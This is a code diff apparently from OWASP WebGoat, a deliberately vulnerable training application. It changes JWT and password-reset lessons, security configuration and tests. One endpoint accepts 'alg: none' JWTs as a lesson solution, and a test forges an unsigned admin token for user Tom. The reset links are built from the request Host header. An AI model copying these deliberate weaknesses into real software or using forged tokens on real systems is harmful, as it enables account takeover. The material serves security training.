"jwt-final-hint1", "jwt-final-hint1",

View File

@ -49,10 +49,6 @@ import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
/**
* @author nbaars
* @since 4/23/17.
*/
@RestController @RestController
@AssignmentHints({ @AssignmentHints({
"jwt-refresh-hint1", "jwt-refresh-hint1",
@ -85,9 +81,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
} }
private Map<String, Object> createNewTokens(String user) { private Map<String, Object> createNewTokens(String user) {
Map<String, Object> claims = new HashMap<>(); Map<String, Object> claims = Map.of("admin", "false", "user", user);
claims.put("admin", "false");
claims.put("user", user);
String token = String token =
Jwts.builder() Jwts.builder()
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
@ -114,6 +108,9 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
Claims claims = (Claims) jwt.getBody(); Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user"); String user = (String) claims.get("user");
if ("Tom".equals(user)) { if ("Tom".equals(user)) {
if ("none".equals(jwt.getHeader().get("alg"))) {
return ok(success(this).feedback("jwt-refresh-alg-none").build());
}
return ok(success(this).build()); return ok(success(this).build());
} }
return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build()); return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());

View File

@ -42,10 +42,6 @@ import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
/**
* @author nbaars
* @since 4/23/17.
*/
@RestController @RestController
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) @AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
public class JWTSecretKeyEndpoint extends AssignmentEndpoint { public class JWTSecretKeyEndpoint extends AssignmentEndpoint {

View File

@ -58,10 +58,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.ResponseStatus; import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
/**
* @author nbaars
* @since 4/23/17.
*/
@RestController @RestController
@AssignmentHints({ @AssignmentHints({
"jwt-change-token-hint1", "jwt-change-token-hint1",

View File

@ -57,6 +57,7 @@ import org.springframework.web.servlet.ModelAndView;
}) })
public class ResetLinkAssignment extends AssignmentEndpoint { public class ResetLinkAssignment extends AssignmentEndpoint {
private static final String VIEW_FORMATTER = "lessons/passwordreset/templates/%s.html";
static final String PASSWORD_TOM_9 = static final String PASSWORD_TOM_9 =
"somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
static final String TOM_EMAIL = "tom@webgoat-cloud.org"; static final String TOM_EMAIL = "tom@webgoat-cloud.org";
@ -65,15 +66,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
static List<String> resetLinks = new ArrayList<>(); static List<String> resetLinks = new ArrayList<>();
static final String TEMPLATE = static final String TEMPLATE =
"Hi, you requested a password reset link, please use this <a target='_blank'" """
+ " href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your" Hi, you requested a password reset link, please use this <a target='_blank'
+ " password.\n" href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
+ " \n\n" password.
+ "If you did not request this password change you can ignore this message.\n"
+ "If you have any comments or questions, please do not hesitate to reach us at" If you did not request this password change you can ignore this message.
+ " support@webgoat-cloud.org\n\n" If you have any comments or questions, please do not hesitate to reach us at
+ "Kind regards, \n" support@webgoat-cloud.org
+ "Team WebGoat";
Kind regards,
Team WebGoat
""";
@PostMapping("/PasswordReset/reset/login") @PostMapping("/PasswordReset/reset/login")
@ResponseBody @ResponseBody
@ -98,20 +102,14 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
form.setResetLink(link); form.setResetLink(link);
model.addAttribute("form", form); model.addAttribute("form", form);
modelAndView.addObject("form", form); modelAndView.addObject("form", form);
modelAndView.setViewName("password_reset"); // Display html page for changing password modelAndView.setViewName(
VIEW_FORMATTER.formatted("password_reset")); // Display html page for changing password
} else { } else {
modelAndView.setViewName("password_link_not_found"); modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
} }
return modelAndView; return modelAndView;
} }
@GetMapping("/PasswordReset/reset/change-password")
public ModelAndView illegalCall() {
ModelAndView modelAndView = new ModelAndView();
modelAndView.setViewName("password_link_not_found");
return modelAndView;
}
@PostMapping("/PasswordReset/reset/change-password") @PostMapping("/PasswordReset/reset/change-password")
public ModelAndView changePassword( public ModelAndView changePassword(
@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { @ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
@ -120,17 +118,17 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
bindingResult.rejectValue("password", "not.empty"); bindingResult.rejectValue("password", "not.empty");
} }
if (bindingResult.hasErrors()) { if (bindingResult.hasErrors()) {
modelAndView.setViewName("password_reset"); modelAndView.setViewName(VIEW_FORMATTER.formatted("password_reset"));
return modelAndView; return modelAndView;
} }
if (!resetLinks.contains(form.getResetLink())) { if (!resetLinks.contains(form.getResetLink())) {
modelAndView.setViewName("password_link_not_found"); modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
return modelAndView; return modelAndView;
} }
if (checkIfLinkIsFromTom(form.getResetLink())) { if (checkIfLinkIsFromTom(form.getResetLink())) {
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword()); usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
} }
modelAndView.setViewName("lessons/passwordreset/templates/success.html"); modelAndView.setViewName(VIEW_FORMATTER.formatted("success"));
return modelAndView; return modelAndView;
} }

View File

@ -23,7 +23,7 @@
package org.owasp.webgoat.lessons.xxe; package org.owasp.webgoat.lessons.xxe;
import java.util.Collection; import java.util.Collection;
import org.springframework.beans.factory.annotation.Autowired; import lombok.AllArgsConstructor;
import org.springframework.http.MediaType; import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
@ -36,9 +36,10 @@ import org.springframework.web.bind.annotation.RestController;
*/ */
@RestController @RestController
@RequestMapping("xxe/comments") @RequestMapping("xxe/comments")
@AllArgsConstructor
public class CommentsEndpoint { public class CommentsEndpoint {
@Autowired private CommentsCache comments; private final CommentsCache comments;
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody @ResponseBody

View File

@ -48,14 +48,15 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
protected void configure(HttpSecurity http) throws Exception { protected void configure(HttpSecurity http) throws Exception {
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
http.authorizeRequests() http.authorizeRequests()
.antMatchers("/css/**", "/images/**", "/js/**", "/fonts/**", "/webjars/**", "/home") .antMatchers(HttpMethod.POST, "/fileupload")
.permitAll()
.antMatchers(HttpMethod.GET, "/mail/**", "/requests/**")
.authenticated() .authenticated()
.antMatchers("/files") .antMatchers(HttpMethod.GET, "/files", "/mail", "/requests")
.authenticated() .authenticated()
.and()
.authorizeRequests()
.anyRequest() .anyRequest()
.permitAll(); .permitAll();
security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true"); security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true");
security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll(); security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll();
security.and().logout().permitAll(); security.and().logout().permitAll();

View File

@ -21,6 +21,7 @@ jwt-refresh-hint2=The token from the access log is no longer valid, can you find
jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken' jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken'
jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token
jwt-refresh-not-tom=User is not Tom but {0}, please try again jwt-refresh-not-tom=User is not Tom but {0}, please try again
jwt-refresh-alg-none=Nicely found! You solved the assignment with 'alg: none' can you also solve it by using the refresh token?
jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom
jwt-final-not-tom=Username is not Tom try to pass a token for Tom jwt-final-not-tom=Username is not Tom try to pass a token for Tom

View File

@ -19,7 +19,7 @@ $(document).ready(() => {
function call(encode) { function call(encode) {
return () => { return () => {
var url = encode ? '/WebWolf/jwt/encode' : '/WebWolf/jwt/decode'; var url = encode ? '/jwt/encode' : '/jwt/decode';
var formData = encode ? $('#encodeForm').getFormData() : $('#decodeForm').getFormData(); var formData = encode ? $('#encodeForm').getFormData() : $('#decodeForm').getFormData();
formData["secretKey"] = $('#secretKey').val(); formData["secretKey"] = $('#secretKey').val();

View File

@ -18,7 +18,7 @@ import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean; import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.boot.web.server.LocalServerPort; import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.test.context.TestPropertySource; import org.springframework.test.context.TestPropertySource;
import org.springframework.test.web.servlet.MockMvc; import org.springframework.test.web.servlet.MockMvc;
import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.WebApplicationContext;

View File

@ -29,6 +29,7 @@ import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.ObjectMapper;
import io.jsonwebtoken.Jwts;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
@ -43,14 +44,14 @@ import org.springframework.test.web.servlet.setup.MockMvcBuilders;
public class JWTRefreshEndpointTest extends LessonTest { public class JWTRefreshEndpointTest extends LessonTest {
@BeforeEach @BeforeEach
public void setup() { void setup() {
when(webSession.getCurrentLesson()).thenReturn(new JWT()); when(webSession.getCurrentLesson()).thenReturn(new JWT());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
when(webSession.getUserName()).thenReturn("unit-test"); when(webSession.getUserName()).thenReturn("unit-test");
} }
@Test @Test
public void solveAssignment() throws Exception { void solveAssignment() throws Exception {
ObjectMapper objectMapper = new ObjectMapper(); ObjectMapper objectMapper = new ObjectMapper();
// First login to obtain tokens for Jerry // First login to obtain tokens for Jerry
@ -96,7 +97,26 @@ public class JWTRefreshEndpointTest extends LessonTest {
} }
@Test @Test
public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception { void solutionWithAlgNone() throws Exception {
String tokenWithNoneAlgorithm =
Jwts.builder()
.setHeaderParam("alg", "none")
.addClaims(Map.of("admin", "true", "user", "Tom"))
.compact();
// Now checkout with the new token from Tom
mockMvc
.perform(
MockMvcRequestBuilders.post("/JWT/refresh/checkout")
.header("Authorization", "Bearer " + tokenWithNoneAlgorithm))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)))
.andExpect(
jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-refresh-alg-none"))));
}
@Test
void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {
String accessTokenTom = String accessTokenTom =
"eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
mockMvc mockMvc
@ -108,7 +128,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
} }
@Test @Test
public void checkoutWitRandomTokenShouldFail() throws Exception { void checkoutWitRandomTokenShouldFail() throws Exception {
String accessTokenTom = String accessTokenTom =
"eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; "eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
mockMvc mockMvc
@ -121,7 +141,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
} }
@Test @Test
public void flowForJerryAlwaysWorks() throws Exception { void flowForJerryAlwaysWorks() throws Exception {
ObjectMapper objectMapper = new ObjectMapper(); ObjectMapper objectMapper = new ObjectMapper();
var loginJson = Map.of("user", "Jerry", "password", PASSWORD); var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
@ -146,7 +166,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
} }
@Test @Test
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception { void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
ObjectMapper objectMapper = new ObjectMapper(); ObjectMapper objectMapper = new ObjectMapper();
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong"); var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
@ -159,7 +179,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
} }
@Test @Test
public void loginShouldNotWorkForTom() throws Exception { void loginShouldNotWorkForTom() throws Exception {
ObjectMapper objectMapper = new ObjectMapper(); ObjectMapper objectMapper = new ObjectMapper();
var loginJson = Map.of("user", "Tom", "password", PASSWORD); var loginJson = Map.of("user", "Tom", "password", PASSWORD);
@ -172,7 +192,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
} }
@Test @Test
public void newTokenShouldWorkForJerry() throws Exception { void newTokenShouldWorkForJerry() throws Exception {
ObjectMapper objectMapper = new ObjectMapper(); ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = new HashMap<>(); Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry"); loginJson.put("user", "Jerry");
@ -201,7 +221,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
} }
@Test @Test
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception { void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
ObjectMapper objectMapper = new ObjectMapper(); ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = new HashMap<>(); Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry"); loginJson.put("user", "Jerry");
@ -229,21 +249,21 @@ public class JWTRefreshEndpointTest extends LessonTest {
} }
@Test @Test
public void noTokenWhileCheckoutShouldReturn401() throws Exception { void noTokenWhileCheckoutShouldReturn401() throws Exception {
mockMvc mockMvc
.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout")) .perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout"))
.andExpect(status().isUnauthorized()); .andExpect(status().isUnauthorized());
} }
@Test @Test
public void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception { void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception {
mockMvc mockMvc
.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")) .perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken"))
.andExpect(status().isUnauthorized()); .andExpect(status().isUnauthorized());
} }
@Test @Test
public void noTokenWhileLoginShouldReturn401() throws Exception { void noTokenWhileLoginShouldReturn401() throws Exception {
mockMvc mockMvc
.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")) .perform(MockMvcRequestBuilders.post("/JWT/refresh/login"))
.andExpect(status().isUnauthorized()); .andExpect(status().isUnauthorized());

View File

@ -0,0 +1,103 @@
package org.owasp.webgoat.lessons.passwordreset;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.lessons.passwordreset.ResetLinkAssignment.TOM_EMAIL;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.view;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.io.ResourceLoader;
import org.springframework.http.HttpHeaders;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
@ExtendWith(SpringExtension.class)
class ResetLinkAssignmentTest extends LessonTest {
@Value("${webwolf.host}")
private String webWolfHost;
@Value("${webwolf.port}")
private String webWolfPort;
@Autowired private ResourceLoader resourceLoader;
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new PasswordReset());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
void wrongResetLink() throws Exception {
MvcResult mvcResult =
mockMvc
.perform(
MockMvcRequestBuilders.get("/PasswordReset/reset/reset-password/{link}", "test"))
.andExpect(status().isOk())
.andExpect(view().name("lessons/passwordreset/templates/password_link_not_found.html"))
.andReturn();
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
.isNotNull();
}
@Test
void changePasswordWithoutPasswordShouldReturnPasswordForm() throws Exception {
MvcResult mvcResult =
mockMvc
.perform(MockMvcRequestBuilders.post("/PasswordReset/reset/change-password"))
.andExpect(status().isOk())
.andExpect(view().name("lessons/passwordreset/templates/password_reset.html"))
.andReturn();
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
.isNotNull();
}
@Test
void changePasswordWithoutLinkShouldReturnPasswordLinkNotFound() throws Exception {
MvcResult mvcResult =
mockMvc
.perform(
MockMvcRequestBuilders.post("/PasswordReset/reset/change-password")
.param("password", "new_password"))
.andExpect(status().isOk())
.andExpect(view().name("lessons/passwordreset/templates/password_link_not_found.html"))
.andReturn();
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
.isNotNull();
}
@Test
void knownLinkShouldReturnPasswordResetPage() throws Exception {
// Create a reset link
mockMvc
.perform(
MockMvcRequestBuilders.post("/PasswordReset/ForgotPassword/create-password-reset-link")
.param("email", TOM_EMAIL)
.header(HttpHeaders.HOST, webWolfHost + ":" + webWolfPort))
.andExpect(status().isOk());
Assertions.assertThat(ResetLinkAssignment.resetLinks).isNotEmpty();
// With a known link you should be
MvcResult mvcResult =
mockMvc
.perform(
MockMvcRequestBuilders.get(
"/PasswordReset/reset/reset-password/{link}",
ResetLinkAssignment.resetLinks.get(0)))
.andExpect(status().isOk())
.andExpect(view().name("lessons/passwordreset/templates/password_reset.html"))
.andReturn();
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
.isNotNull();
}
}

View File

@ -6,4 +6,5 @@ spring.main.banner-mode=off
spring.jpa.properties.hibernate.default_schema=CONTAINER spring.jpa.properties.hibernate.default_schema=CONTAINER
spring.thymeleaf.prefix=classpath:/webwolf/templates/ spring.thymeleaf.prefix=classpath:/webwolf/templates/
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver